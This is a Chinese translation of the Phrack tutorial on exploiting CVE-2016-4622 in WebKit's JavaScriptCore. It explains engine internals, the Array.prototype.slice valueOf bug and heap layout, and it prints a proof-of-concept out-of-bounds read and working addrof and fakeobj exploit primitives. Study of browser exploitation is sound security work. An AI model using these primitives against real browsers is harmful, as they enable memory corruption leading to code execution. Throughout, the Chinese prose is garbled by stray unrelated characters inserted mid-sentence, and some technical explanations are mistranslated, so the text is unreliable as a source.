A case study of JavaScriptCore and CVE-2016-4622
翻譯自:http://www.phrack.org/papers/attacking_javascript_engines.html
目錄
0 - Introduction
1 - JavaScriptCore overview
1.1 - Values, the VM, and (NaN-)boxing
1.2 - Objects and arrays
1.3 - Functions
2 - The bug
2.1 - The vulnerable code
2.2 - About JavaScript type conversions
2.3 - Exploiting with valueOf
2.4 - Reflecting on the bug
3 - The JavaScriptCore heaps
3.1 - Garbage collector basics
3.2 - Marked space
3.3 - Copied space
4 - Constructing exploit primitives
4.1 - Prerequisites: Int64
4.2 - addrof and fakeobj
4.3 - Plan of exploitation
5 - Understanding the JSObject system
5.1 - Property storage
5.2 - JSObject internals
5.3 - About structures
6 - Exploitation
6.1 - Predicting structure IDs
6.2 - Putting things together: faking a Float64Array
6.3 - Executing shellcode
6.4 - Surviving garbage collection
6.5 - Summary
7 - Abusing the renderer process
7.1 - WebKit process and privilege model
7.2 - The same-origin policy
7.3 - Stealing emails
8 - References
9 - Source code
介紹
? 本文將以一個特定的漏洞為例才睹,介紹JavaScript引擎漏洞利用挠铲。特定的目標是JavaScriptCore, 他是WebKit中的引擎商源。該漏洞為CVE-2016-4622代虾,于2016年初被發(fā)現(xiàn)。它允許攻擊者泄漏地址艇肴,并將假的JavaScript對象注入引擎腔呜。將導(dǎo)致RCE叁温。bug在650552a中得到了修復(fù)。本文中的代碼片段取自commit 320b1fc核畴,這是最后一個易受攻擊的布丁膝但。該漏洞大約是在一年前提交2fa4973時引入的。所有的攻擊代碼都在Safari 9.1.1上測試過谤草。利用上述漏洞需要了解引擎內(nèi)部的各種知識跟束,但是這些知識本身也非常有趣。因此丑孩,作為現(xiàn)代JavaScript引擎一部分的各種部分將在本文中進行討論冀宴。我們將關(guān)注javascriptCore的實現(xiàn),但是這些概念通常也適用于其他引擎温学。在大多數(shù)情況下略贮,不需要具備JavaScript語言的先驗知識。
1 - JavaScriptCore 概述
在high level枫浙,JavaScript引擎包含
編譯器基礎(chǔ)設(shè)施刨肃,通常包括至少一個即時(JIT)編譯器
操作JavaScript value的虛擬機
提供一組內(nèi)置對象和函數(shù)的運行時庫
我們不關(guān)心編譯器的內(nèi)部工作,因為其基礎(chǔ)設(shè)施太多箩帚,并且它們大多與此特定bug無關(guān)。就我們的目的而言黄痪,將編譯器視為一個黑盒就足夠了紧帕,從給定的源代碼能夠返回字節(jié)碼(對于JIT編譯器,可能是原生代碼)
1.1 - The VM, Values, and NaN-boxing
-
關(guān)于 NaN-boxing技術(shù)的介紹 https://www.cnblogs.com/qicosmos/p/4285409.html
NaN-boxing 總共64位桅打,最高位是一個符號位是嗜,可能是0也可能是,接下來的11位全部為1挺尾,則這個浮點數(shù)就是一個NAN鹅搪,符號位如果為1則表示是一個quiet NAN,如果為1則表示是一個signed NAN遭铺。因此一個NAN只需要前面的12位來表示就行了丽柿,那么剩下的52位則可以用來編碼,比如我們用剩下的52位中的前4位來表示一個數(shù)據(jù)的類型魂挂,后面的48位用來表示數(shù)據(jù)的值或地址甫题。表示類型的4位我們稱為tag,它最多可以用來表示16種類型的數(shù)據(jù)涂召,后面的48位我們稱為payload坠非,用它來表示實際的數(shù)據(jù)或數(shù)據(jù)的地址,對于小于等于32位的數(shù)字可以直接存到payload中果正,對于其它類型的數(shù)據(jù)可以保存其地址到payload中炎码,因為x86 32位和64位系統(tǒng)中盟迟,地址最多不超過47位,所以用48位來保存數(shù)據(jù)的地址是完全夠用的潦闲。
虛擬機(VM)通常包含一個解釋器队萤,它可以直接執(zhí)行給定的字節(jié)碼。VM通常被實現(xiàn)為基于堆棧的機器(與基于寄存器的機器相反)矫钓,因此圍繞一堆值進行操作要尔。特定操作碼的實現(xiàn)handler可能是這樣的:
CASE(JSOP_ADD)
{
MutableHandleValue lval = REGS.stackHandleAt(-2);
MutableHandleValue rval = REGS.stackHandleAt(-1);
MutableHandleValue res = REGS.stackHandleAt(-2);
if (!AddOperation(cx, lval, rval, res))
goto error;
REGS.sp--;
}
END_CASE(JSOP_ADD)
? 注意,這個例子實際上取自Firefox的Spidermonkey引擎新娜,因為JavaScriptCore(從這里開始縮寫為JSC)使用的解釋器是以匯編語言的形式編寫的赵辕,因此不像上面的例子那么簡單。感興趣的讀者可以在LowLevelInterpreter64.asm中找到JSC的低層解釋器(llint)的實現(xiàn)概龄。
? 通常还惠,第一階段JIT編譯器(有時稱為base line JIT)負責(zé)消除解釋器的一些調(diào)度開銷,而高級階段JIT編譯器執(zhí)行復(fù)雜的優(yōu)化私杜,類似于我們習(xí)慣的ahead-of-time編譯器蚕键。優(yōu)化JIT編譯器通常是猜測性的,這意味著它們將基于一些猜測執(zhí)行優(yōu)化衰粹,例如锣光。“這個變量總是包含一個數(shù)字”铝耻。如果這種猜測最終被證明是錯誤的誊爹,代碼通常會被釋放到較低的層之一。有關(guān)不同執(zhí)行模式的更多信息瓢捉,請參考[2]和[3]频丘。
? JavaScript是一種動態(tài)類型語言。因此泡态,類型信息與(運行時)值關(guān)聯(lián)搂漠,而不是與(編譯時)變量關(guān)聯(lián)。JavaScript類型系統(tǒng)[4]定義了基本類型(數(shù)字某弦、字符串桐汤、布爾值、null刀崖、未定義的符號)和對象(包括數(shù)組和函數(shù))惊科。特別是,JavaScript語言中沒有像其他語言中那樣的類概念亮钦。相反馆截,JavaScript使用的是所謂的“基于原型的繼承”,其中每個對象都有一個(可能是空的)對原型對象的引用,其中包含了原型對象的屬性蜡娶。感興趣的讀者可以參考JavaScript規(guī)范[5]以獲得更多信息混卵。
? 出于性能原因(快速復(fù)制,適合64位體系結(jié)構(gòu)上的寄存器)窖张,所有主要JavaScript引擎都是用不超過8字節(jié)表示一個value幕随。一些引擎,比如谷歌的v8使用帶tag的指針來表示值宿接。這里赘淮,最不重要的位表示該值是指針還是直接值的某種形式。另一方面睦霎,F(xiàn)irefox中的JavaScriptCore (JSC)和Spidermonkey使用了一個稱為NaN-boxing.的概念梢卸。NaN-boxing利用了多個位模式都表示NaN的事實,因此可以在其中編碼其他值副女。具體來說蛤高,每個IEEE 754浮點值與所有指數(shù)位集,但一個分數(shù)不等于零表示NaN碑幅。對于雙精度值[6]戴陡,這給我們留下了2^51個不同的位模式(忽略符號位,將第一個分數(shù)位設(shè)置為1沟涨,以便仍然可以表示nullptr)恤批。這足以編碼32位整數(shù)和指針,因為即使在64位平臺上拷窜,當前也只有48位用于尋址开皿。
? JSC使用的方案在JSCJSValue.h中得到了很好的解釋。鼓勵讀者自行閱讀篮昧。下面將引用比較重要的相關(guān)部分:
* The top 16-bits denote the type of the encoded JSValue:
*
* Pointer { 0000:PPPP:PPPP:PPPP
* / 0001:****:****:****
* Double { ...
* \ FFFE:****:****:****
* Integer { FFFF:0000:IIII:IIII
*
* The scheme we have implemented encodes double precision values by
* performing a 64-bit integer addition of the value 2^48 to the number.
* After this manipulation no encoded double-precision value will begin
* with the pattern 0x0000 or 0xFFFF. Values must be decoded by
* reversing this operation before subsequent floating point operations
* may be performed.
*
* 32-bit signed integers are marked with the 16-bit tag 0xFFFF.
*
* The tag 0x0000 denotes a pointer, or another form of tagged
* immediate. Boolean, null and undefined values are represented by
* specific, invalid pointer values:
*
* False: 0x06
* True: 0x07
* Undefined: 0x0a
* Null: 0x02
*
1.2 Objects and Arrays
? JavaScript中的對象本質(zhì)上是屬性的集合,這些屬性存儲為(key, value)對笋妥。屬性可以通過點操作符(foo.bar)或方括號(foo['bar'])訪問懊昨。至少在理論上,在執(zhí)行查找之前春宣,用作鍵的值被轉(zhuǎn)換為字符串酵颁。
? 該規(guī)范將數(shù)組描述為特殊(“外來”)對象,如果屬性名可以用32位整數(shù)[7]表示月帝,則該對象的屬性也稱為元素躏惋。今天的大多數(shù)引擎將這個概念擴展到所有對象。然后嚷辅,數(shù)組變成一個具有特殊“l(fā)ength”屬性的對象簿姨,其值總是等于最高元素的索引加上1。所有這些的最終結(jié)果是,每個對象都具有通過字符串或符號鍵訪問的屬性和通過整數(shù)索引訪問的元素扁位。
? 在內(nèi)部准潭,JSC將屬性和元素存儲在同一個內(nèi)存區(qū)域中,并在對象本身中存儲指向該區(qū)域的指針域仇。這個指針指向區(qū)域的中間刑然,屬性存儲在它的左邊(較低的地址),元素存儲在它的右邊暇务。在指向地址之前還有一個小標題泼掠,它包含元素向量的長度。這個概念稱為“Butterfly”垦细,因為值向左右擴展择镇,類似于蝴蝶的翅膀。大概蝠检。在下面沐鼠,我們將把指針和內(nèi)存區(qū)域都稱為“Butterfly”。如果從上下文上看不明顯叹谁,則說明其具體含義饲梭。
--------------------------------------------------------
.. | propY | propX | length | elem0 | elem1 | elem2 | ..
--------------------------------------------------------
^
|
+---------------+
|
+-------------+
| Some Object |
+-------------+
? 雖然是典型的,但是元素并不一定要線性地存儲在內(nèi)存中焰檩。特別是如下代碼:
a = [];
a[0] = 42;
a[10000] = 42;
? 可能會導(dǎo)致以某種稀疏模式存儲的數(shù)組憔涉,該數(shù)組將執(zhí)行從給定索引到索引到備份存儲的額外映射步驟积仗。這樣委乌,這個數(shù)組就不需要10001值槽飒赃。除了不同的數(shù)組存儲模型外褪测,數(shù)組還可以使用不同的表示形式存儲數(shù)據(jù)蹈丸。例如初嘹,一個32位整數(shù)數(shù)組可以以原生形式存儲误趴,以避免在大多數(shù)操作期間(NaN-)unboxing和reboxing過程屉来,并節(jié)省一些內(nèi)存茫死。因此跪但,JSC定義了一組不同的索引類型,這些類型可以在IndexingType.h中找到峦萎。最重要的是:
ArrayWithInt32 = IsArray | Int32Shape;
ArrayWithDouble = IsArray | DoubleShape;
ArrayWithContiguous = IsArray | ContiguousShape;
? 在這里屡久,最后一個類型存儲jsvalue,而前兩個類型存儲它們的原生類型爱榔。此時被环,讀者可能想知道在這個模型中如何執(zhí)行屬性查找。稍后我們將深入討論這個問題详幽,但是簡短的版本是一個特殊的元對象筛欢,在JSC中稱為“struct ure”,它與每個對象相關(guān)聯(lián),每個對象提供從屬性名到slot號的映射悴能。
1.3 - Functions
? 函數(shù)在JavaScript語言中非常重要.當執(zhí)行函數(shù)體時揣钦,有兩個特殊變量可用。其中之一“arguments”提供對函數(shù)的參數(shù)(和調(diào)用者)的訪問漠酿,從而支持使用可變數(shù)量的參數(shù)創(chuàng)建函數(shù)冯凹。另一個“this”指的是不同的對象,具體取決于函數(shù)的調(diào)用:
- 如果函數(shù)作為構(gòu)造函數(shù)調(diào)用(使用'new func()')炒嘲,那么'this'指向新創(chuàng)建的對象宇姚。它的原型已經(jīng)被設(shè)置為函數(shù)對象的.prototype屬性,該屬性在函數(shù)定義期間被設(shè)置為一個新對象夫凸。
- 如果函數(shù)作為某個對象的方法調(diào)用(使用'obj.func()')浑劳,那么'this'將指向引用對象。
- 否則夭拌,“this”只是指向當前全局對象魔熏,就像它在函數(shù)外部所做的那樣。
? 因為函數(shù)是JavaScript中的第一個類對象鸽扁,所以它們也可以有屬性蒜绽。我們已經(jīng)看到了上面的.prototype屬性。每個函數(shù)(實際上是函數(shù)原型)的另外兩個非常有趣的屬性是.call和.apply函數(shù)桶现,它們允許使用給定的“this”對象和參數(shù)調(diào)用函數(shù)躲雅。例如,這可以用來實現(xiàn)裝飾器的功能:
function decorate(func) {
return function() {
for (var i = 0; i < arguments.length; i++) {
// do something with arguments[i]
}
return func.apply(this, arguments);
};
}
? 這對引擎內(nèi)JavaScript函數(shù)的實現(xiàn)也有一些影響骡和,因為它們不能對使用它們調(diào)用的引用對象的值做任何假設(shè)相赁,因為它可以從腳本中設(shè)置為任意值。因此慰于,所有內(nèi)部JavaScript函數(shù)不僅需要檢查參數(shù)的類型钮科,還需要檢查對象的類型。
? 在內(nèi)部婆赠,內(nèi)置函數(shù)和方法[8]通常以兩種方式之一實現(xiàn):作為c++中的原生函數(shù)或JavaScript本身跺嗽。讓我們看一個JSC中原生函數(shù)的簡單例子:Math.pow()的實現(xiàn):
EncodedJSValue JSC_HOST_CALL mathProtoFuncPow(ExecState* exec)
{
// ECMA 15.8.2.1.13
double arg = exec->argument(0).toNumber(exec);
double arg2 = exec->argument(1).toNumber(exec);
return JSValue::encode(JSValue(operationMathPow(arg, arg2)));
}
我們可以看到:
原生JavaScript函數(shù)的簽名
如何使用參數(shù)方法提取參數(shù)(如果沒有提供足夠的參數(shù),則返回未定義的值)
參數(shù)如何轉(zhuǎn)換為所需類型页藻。有一套轉(zhuǎn)換規(guī)則來控制例如數(shù)組到數(shù)字的轉(zhuǎn)換,toNumber將使用這些規(guī)則植兰。稍后將詳細介紹這些份帐。
如何對原生數(shù)據(jù)類型執(zhí)行實際操作
如何將結(jié)果返回給調(diào)用者。在本例中楣导,只需將生成的原生數(shù)字編碼為一個值废境。
這里還有另一種可見的模式:各種操作的核心實現(xiàn)(在本例中是operationMathPow)被移動到單獨的函數(shù)中,以便可以直接從JIT編譯的代碼中調(diào)用它們。
2. The bug
? 問題在于Array.prototype.slice的實現(xiàn)[9]噩凹。原生函數(shù)arrayProtoFuncSlice巴元,位于ArrayPrototype.cpp,每當在JavaScript中調(diào)用slice方法時調(diào)用:
var a = [1, 2, 3, 4];
var s = a.slice(1, 3);
// s now contains [2, 3]
? 下面給出了實現(xiàn)驮宴,并進行了少量的格式調(diào)整逮刨、刪除影響理解的代碼片段增強可讀性,以及下面解釋的注視堵泽。完整的實現(xiàn)可以在網(wǎng)上找到修己。
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
/* [[ 1 ]] */
JSObject* thisObj = exec->thisValue()
.toThis(exec, StrictMode)
.toObject(exec);
if (!thisObj)
return JSValue::encode(JSValue());
/* [[ 2 ]] */
unsigned length = getLength(exec, thisObj);
if (exec->hadException())
return JSValue::encode(jsUndefined());
/* [[ 3 ]] */
unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
unsigned end =
argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
/* [[ 4 ]] */
std::pair<SpeciesConstructResult, JSObject*> speciesResult =
speciesConstructArray(exec, thisObj, end - begin);
// We can only get an exception if we call some user function.
if (UNLIKELY(speciesResult.first ==
SpeciesConstructResult::Exception))
return JSValue::encode(jsUndefined());
/* [[ 5 ]] */
if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath &&
isJSArray(thisObj))) {
if (JSArray* result =
asArray(thisObj)->fastSlice(*exec, begin, end - begin))
return JSValue::encode(result);
}
JSObject* result;
if (speciesResult.first == SpeciesConstructResult::CreatedObject)
result = speciesResult.second;
else
result = constructEmptyArray(exec, nullptr, end - begin);
unsigned n = 0;
for (unsigned k = begin; k < end; k++, n++) {
JSValue v = getProperty(exec, thisObj, k);
if (exec->hadException())
return JSValue::encode(jsUndefined());
if (v)
result->putDirectIndex(exec, n, v);
}
setLength(exec, result, n);
return JSValue::encode(result);
}
該代碼的實質(zhì)內(nèi)容如下:
獲取方法調(diào)用的引用對象(這將是數(shù)組對象)
檢索數(shù)組的長度
將參數(shù)(start和end索引)轉(zhuǎn)換為原生整數(shù)類型,并將它們固定到范圍[0,length]
檢查是否應(yīng)該使用species構(gòu)造函數(shù)[11]
執(zhí)行切片
? 最后一步是通過以下兩種方式之一完成的:如果數(shù)組是一個存儲密度較大的原生數(shù)組迎罗,那么將使用“fastSlice”睬愤,它只是使用memcpy的值,使用給定的索引和長度進入新數(shù)組纹安。如果不能使用這個快速的方法尤辱,則使用一個簡單的循環(huán)來獲取每個元素并將其添加到新數(shù)組中。注意厢岂,與慢路徑上使用的屬性訪問器相反光督,fastSlice不執(zhí)行任何額外的邊界檢查……;
? 查看代碼,很容易假設(shè)變量'begin'和' end '在轉(zhuǎn)換為原生整數(shù)后咪笑,將小于數(shù)組的大小可帽。然而,我們可以通過(ab)使用JavaScript類型轉(zhuǎn)換規(guī)則來違背這一假設(shè)窗怒。
2.1 JavaScript轉(zhuǎn)換規(guī)則
JavaScript本質(zhì)上是弱類型的映跟,這意味著它可以很方便地將不同類型的值轉(zhuǎn)換為當前需要的類型⊙镄椋考慮Math.abs()努隙,它返回參數(shù)的絕對值。以下所有調(diào)用都是“有效的”調(diào)用辜昵,這意味著它們不會引發(fā)異常:
Math.abs(-42); // argument is a number
// 42
Math.abs("-42"); // argument is a string
// 42
Math.abs([]); // argument is an empty array
// 0
Math.abs(true); // argument is a boolean
// 1
Math.abs({}); // argument is an object
// NaN
? 相反荸镊,如果將字符串傳遞給abs(),則強類型語言(如python)通常會引發(fā)異常(或者堪置,對于靜態(tài)類型語言躬存,會發(fā)出編譯器錯誤),數(shù)字類型的轉(zhuǎn)換規(guī)則在[12]中進行了描述舀锨×胫蓿控制從對象類型到數(shù)字(以及一般的基本類型)轉(zhuǎn)換的規(guī)則特別有趣。
? 特別是坎匿,如果對象具有一個名為“valueOf”的可調(diào)用屬性盾剩,則將調(diào)用此方法雷激,如果是原始值,則使用返回值告私。因此:
Math.abs({valueOf: function() { return -42; }});
// 42
2.2 利用 "valueOf"
In the case of arrayProtoFuncSlice
the conversion to a primitive type is performed in argumentClampedIndexFromStartOrEnd. This method also clamps the arguments to the range [0, length):
JSValue value = exec->argument(argument);
if (value.isUndefined())
return undefinedValue;
double indexDouble = value.toInteger(exec); // Conversion happens here
if (indexDouble < 0) {
indexDouble += length;
return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
}
return indexDouble > length ? length :
static_cast<unsigned>(indexDouble);
? 現(xiàn)在屎暇,如果我們修改其中一個參數(shù)的valueOf函數(shù)中的數(shù)組長度,那么slice的實現(xiàn)將繼續(xù)使用前面的長度驻粟,從而導(dǎo)致在memcpy期間出現(xiàn)越界訪問根悼。
? 然而,在此之前格嗅,我們必須確保如果縮小數(shù)組番挺,元素存儲實際上是調(diào)整了大小的。為此屯掖,讓我們快速了解一下.length setter的實現(xiàn)玄柏。從JSArray:: setLength:
unsigned lengthToClear = butterfly->publicLength() - newLength;
unsigned costToAllocateNewButterfly = 64; // a heuristic.
if (lengthToClear > newLength &&
lengthToClear > costToAllocateNewButterfly) {
reallocateAndShrinkButterfly(exec->vm(), newLength);
return true;
}
? 這段代碼實現(xiàn)了一個簡單的啟發(fā)式,以避免過于頻繁地重新定位數(shù)組贴铜。為了強制重新定位數(shù)組粪摘,我們將因此需要新大小比舊大小小得多。將100個元素的大小調(diào)整為0就可以了绍坝。
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
// b = [0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0]
? 正確的輸出應(yīng)該是一個大小為10的數(shù)組徘意,其中填充了“未定義的”值,因為數(shù)組在切片操作之前已被清除轩褐。不過椎咧,我們可以在數(shù)組中看到一些浮點值。似乎我們已經(jīng)讀了數(shù)組元素后面的一些內(nèi)容:)
2.3 思考
? 反思一下這個bug把介,這個特殊的編程錯誤并不新鮮勤讽,而且已經(jīng)被利用了一段時間了[13,14,15]。這里的核心問題是(可變的)狀態(tài)拗踢,它“緩存”在堆椊烹梗框架中(在本例中是數(shù)組對象的長度),并結(jié)合各種回調(diào)機制巢墅,這些回調(diào)機制可以在調(diào)用堆棧中執(zhí)行用戶提供的代碼(在本例中是“valueOf”方法)诸狭。通過這種設(shè)置,很容易對整個函數(shù)的引擎狀態(tài)做出錯誤的假設(shè)君纫。由于各種事件回調(diào)驯遇,同樣的問題也出現(xiàn)在DOM中。
3. The JavaScriptCore 堆
此時蓄髓,我們已經(jīng)讀取了數(shù)組后面的數(shù)據(jù),但不太清楚訪問的是什么双吆。要理解這一點,需要一些關(guān)于JSC堆分配器的背景知識好乐。
3.1 垃圾回收器機制基礎(chǔ)
? JavaScript是一種垃圾收集語言匾竿,這意味著程序員不需要關(guān)心內(nèi)存管理。相反蔚万,垃圾收集器將不時地收集無法訪問的對象
? 垃圾收集的一種方法是引用計數(shù)岭妖,它在許多應(yīng)用程序中得到了廣泛的應(yīng)用。然而反璃,到目前為止昵慌,所有主要的JavaScript引擎都使用標記和清除算法。在這里淮蜈,收集器定期掃描所有活動對象斋攀,從一組根節(jié)點開始,然后釋放所有活動對象梧田。根節(jié)點通常是位于堆棧上的指針淳蔼,以及全局對象,如web瀏覽器上下文中的“窗口”對象
? 垃圾收集系統(tǒng)之間有許多不同之處〔妹校現(xiàn)在我們將討論垃圾收集系統(tǒng)的一些關(guān)鍵屬性鹉梨,這將幫助讀者理解一些相關(guān)代碼。熟悉這個主題的讀者可以隨意跳到本節(jié)的末尾
? 首先穿稳,JSC使用一個保守的垃圾收集器[16]存皂。實際上,這意味著GC不跟蹤根節(jié)點本身逢艘。相反旦袋,在GC期間,它將掃描堆棧中任何可能是指向堆的指針的值埋虹,并將這些值視為根節(jié)點猜憎。相反,例如Spidermonkey使用一個精確的垃圾收集器搔课,因此需要將堆棧上對堆對象的所有引用封裝在一個指針類中(root <>)胰柑,該類負責(zé)將對象注冊到垃圾收集器
? 接下來,JSC使用增量垃圾收集器爬泥。這種垃圾收集器分幾個步驟執(zhí)行標記柬讨,并允許應(yīng)用程序在這兩個步驟之間運行,從而減少GC延遲袍啡。然而踩官,這需要一些額外的努力才能正確工作【呈洌考慮以下情況:
- GC運行并訪問某個對象O及其所有引用的對象蔗牡。它將它們標記為已訪問颖系,然后暫停,以便應(yīng)用程序可以再次運行辩越。
- O被修改嘁扼,一個對另一個對象P的新引用被添加到它。
- 然后GC再次運行黔攒,但是它不知道P趁啸。它完成標記階段并釋放P的內(nèi)存。
? 為了避免這種情況督惰,在引擎中插入了所謂的寫屏障不傅。在這種情況下,它們負責(zé)通知垃圾收集器赏胚。這些屏障是通過WriteBarrier<>和CopyBarrier<>類在JSC中實現(xiàn)的
? 最后访娶,JSC同時使用了移動垃圾收集器和非移動垃圾收集器。移動垃圾收集器將活動對象移動到不同的位置栅哀,并更新指向這些對象的所有指針震肮。這對許多死對象的情況進行了優(yōu)化,因為它們沒有運行時開銷:不是將它們添加到空閑列表中留拾,而是簡單地聲明整個內(nèi)存區(qū)域是空閑的戳晌。JSC將JavaScript對象本身和其他一些對象一起存儲在一個非移動堆(標記的空間)中,同時將butterfly和其他數(shù)組存儲在一個移動堆(復(fù)制的空間)中痴柔。
3.2 Marked space
? 標記的空間是一組內(nèi)存塊沦偎,這些內(nèi)存塊跟蹤分配的單元格。在JSC中咳蔚,在標記空間中分配的每個對象都必須從JSCell類繼承豪嚎,因此從一個8字節(jié)頭開始,這個頭和其他字段一起包含GC使用的當前單元格狀態(tài)谈火。收集器使用這個字段來跟蹤它已經(jīng)訪問過的單元格
? 關(guān)于標記的空間還有一件值得一提的事情:JSC在每個標記塊的開頭存儲了一個MarkedBlock,實例:
inline MarkedBlock* MarkedBlock::blockFor(const void* p)
{
return reinterpret_cast<MarkedBlock*>(
reinterpret_cast<Bits>(p) & blockMask);
}
? 這個實例包含一個指向擁有堆和VM實例的指針侈询,如果它們在當前上下文中不可用,則允許引擎獲取它們糯耍。這使得設(shè)置偽對象更加困難扔字,因為在執(zhí)行某些操作時可能需要一個有效的MarkedBlock實例。因此温技,如果可能的話革为,最好在有效的標記塊中創(chuàng)建偽對象。
3.3 Copied space
? 復(fù)制的空間存儲與標記空間中的某個對象關(guān)聯(lián)的內(nèi)存緩沖區(qū)舵鳞。這些大多是butterfly震檩,但是類型化數(shù)組的內(nèi)容也可能位于這里。因此蜓堕,我們的越界訪問發(fā)生在這個內(nèi)存區(qū)域
這本質(zhì)上是一個bump分配器:它將簡單地返回當前塊中的下N個字節(jié)的內(nèi)存抛虏,直到該塊被完全使用博其。因此,幾乎可以保證下面的兩個分配將在內(nèi)存中相鄰地放置(邊緣情況是第一個分配將填滿當前塊)
? 這對我們來說是個好消息嘉蕾。如果我們分配兩個數(shù)組贺奠,每個數(shù)組都有一個元素,那么在幾乎所有情況下错忱,這兩個butterfly都是相鄰的。
4. 構(gòu)建exp primitives
? 雖然這個問題中的bug一開始看起來像是一個超綁定讀取挂据,但它實際上是一個更強大的原語以清,因為它允許我們將選擇的jsvalue“注入”到新創(chuàng)建的JavaScript數(shù)組中,從而“注入”到引擎中崎逃。
現(xiàn)在掷倔,我們將從給定的bug構(gòu)造兩個exploit原語,允許我們這樣做
1. leak the address of an arbitrary JavaScript object and
2. inject a fake JavaScript Object into the engine.
我們將把這些原語稱為'addrof' 和 'fakeobj'个绍。
4.1 Prerequisites: Int64
? 如前所述勒葱,我們的exploit原語當前返回浮點值,而不是整數(shù)巴柿。事實上凛虽,至少在理論上,JavaScript中的所有數(shù)字都是64位浮點數(shù)[17]广恢。實際上凯旋,正如前面提到的,出于性能考慮钉迷,大多數(shù)引擎都有一個專用的32位整數(shù)類型至非,但是在必要時(即溢出時)會轉(zhuǎn)換為浮點值。因此糠聪,不可能用JavaScript中的基本數(shù)字表示任意64位整數(shù)(特別是地址)
? 因此荒椭,必須構(gòu)建一個helper模塊,該模塊允許存儲64位整數(shù)實例舰蟆。它支持
初始化來自不同參數(shù)類型的Int64實例:字符串趣惠、數(shù)字和字節(jié)數(shù)組。
通過assignXXX方法將加減法的結(jié)果分配給現(xiàn)有實例夭苗。使用這些方法可以避免進一步的堆分配信卡,這在某些時候是需要的。
創(chuàng)建新實例题造,通過添加和子函數(shù)存儲加減法的結(jié)果傍菇。
在double、JSValues和Int64實例之間進行轉(zhuǎn)換界赔,以便底層的位模式保持不變丢习。
最后一點值得進一步討論牵触。如上所述,我們獲得了一個double咐低,它的底層內(nèi)存被解釋原生整數(shù)揽思,這就是我們想要的地址。因此见擦,我們需要在原生雙精度浮點數(shù)和整數(shù)之間進行轉(zhuǎn)換钉汗,以便底層位保持不變。asDouble()可以看作是運行以下C代碼
double asDouble(uint64_t num)
{
return *(double*)#
}
? asJSValue方法進一步NaN-boxing過程鲤屡,并使用給定的位模式生成JSValue损痰。感興趣的讀者可以參考附帶的源代碼歸檔文件中的int64.js文件了解更多細節(jié)
? 解決了這個問題之后,讓我們回到構(gòu)建我們的兩個exploit原語酒来。
4.2 addrof and fakeobj
? 這兩個原語都依賴于這樣一個事實卢未,即JSC將雙精度數(shù)組存儲在原生表示中,而不是存儲在NaN-boxing表示中堰汉。這本質(zhì)上允許我們編寫原生double(索引類型為arraywithdouble)辽社,但是讓引擎將它們視為JSValues(索引類型為arraywith),反之亦然
? 因此翘鸭,以下是利用地址泄漏所需要的步驟:
創(chuàng)建一個雙精度數(shù)組剪验。這將作為IndexingType ArrayWithDouble存儲在內(nèi)部
-
設(shè)置一個具有自定義valueOf函數(shù)的對象佑力,該函數(shù)將
2.1縮小之前創(chuàng)建的數(shù)組
2.2分配一個新數(shù)組亚铁,該數(shù)組只包含我們希望知道其地址的對象氯质。這個數(shù)組(很可能)將被放在新butterfly的后面,因為它位于復(fù)制的空間中
2.3返回一個大于數(shù)組新大小的值來觸發(fā)bug
調(diào)用目標數(shù)組上的slice()作為第2步中的一個參數(shù)
? 現(xiàn)在档址,我們將以64位浮點值的形式在數(shù)組中找到所需的地址盹兢。這是因為slice()保留了索引類型。因此守伸,我們的新數(shù)組也將把數(shù)據(jù)視為原生雙精度绎秒,從而允許我們泄漏任意JSValue實例,從而泄漏指針
? fakeobj原語實際上是反過來工作的尼摹。在這里见芹,我們將原生雙精度值注入到JSValues數(shù)組中,允許我們創(chuàng)建JSObject指針:
創(chuàng)建對象數(shù)組蠢涝。它將作為IndexingType arraywith存儲在內(nèi)部
-
設(shè)置一個具有自定義valueOf函數(shù)的對象玄呛,該函數(shù)將
2.1縮小之前創(chuàng)建的數(shù)組
2.2分配一個新數(shù)組,其中只包含一個雙精度數(shù)組和二,其位模式與我們希望注入的JSObject的地址匹配徘铝。由于數(shù)組的索引類型是ArrayWithDouble,所以double將以原生形式存儲
2.3返回一個大于數(shù)組新大小的值來觸發(fā)bug
3.調(diào)用目標數(shù)組上的slice()作為第2步中的一個參數(shù)
為了完整起見,下面打印了這兩個原語的實現(xiàn)惕它。
function addrof(object) {
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.1337); // Array must be of type ArrayWithDoubles
var hax = {valueOf: function() {
a.length = 0;
a = [object];
return 4;
}};
var b = a.slice(0, hax);
return Int64.fromDouble(b[3]);
}
function fakeobj(addr) {
var a = [];
for (var i = 0; i < 100; i++)
a.push({}); // Array must be of type ArrayWithContiguous
addr = addr.asDouble();
var hax = {valueOf: function() {
a.length = 0;
a = [addr];
return 4;
}};
return a.slice(0, hax)[3];
}
4.3 Plan of exploitation
從這里開始怕午,我們的目標將是通過一個偽JavaScript對象獲得一個任意的內(nèi)存讀寫原語。我們面臨以下問題
- 我們想要假冒什么樣的東西
- 我們?nèi)绾蝹卧爝@樣一個對象
- 我們?nèi)绾畏胖眉賹ο笠员阒浪牡刂?/li>
一段時間以來淹魄,JavaScript引擎一直支持類型化數(shù)組[18]郁惜,這是一種對原始二進制數(shù)據(jù)進行高效和高度優(yōu)化的存儲。這些對象是偽對象的良好候選對象甲锡,因為它們是可變的(與JavaScript字符串相反)兆蕉,因此控制它們的數(shù)據(jù)指針可以生成一個可從腳本中使用的任意讀/寫原語。最后缤沦,我們的目標是偽造一個Float64Array實例『拚粒現(xiàn)在我們將轉(zhuǎn)向問題二和問題三,這需要另一個關(guān)于JSC內(nèi)部的討論疚俱,即JSObject系統(tǒng)。
5. 理解 JSObject system
? JavaScript對象是通過c++類的組合在JSC中實現(xiàn)的缩多。位于中心的是JSObject類呆奕,它本身就是一個JSCell(因此由垃圾收集器跟蹤)。JSObject有各種子類衬吆,它們松散地類似于不同的JavaScript對象梁钾,比如數(shù)組(JSArray)、類型化數(shù)組(JSArrayBufferView)或代理(JSProxy)
? 現(xiàn)在逊抡,我們將研究組成JSC引擎中的jsobject的不同部分
5.1 屬性儲存
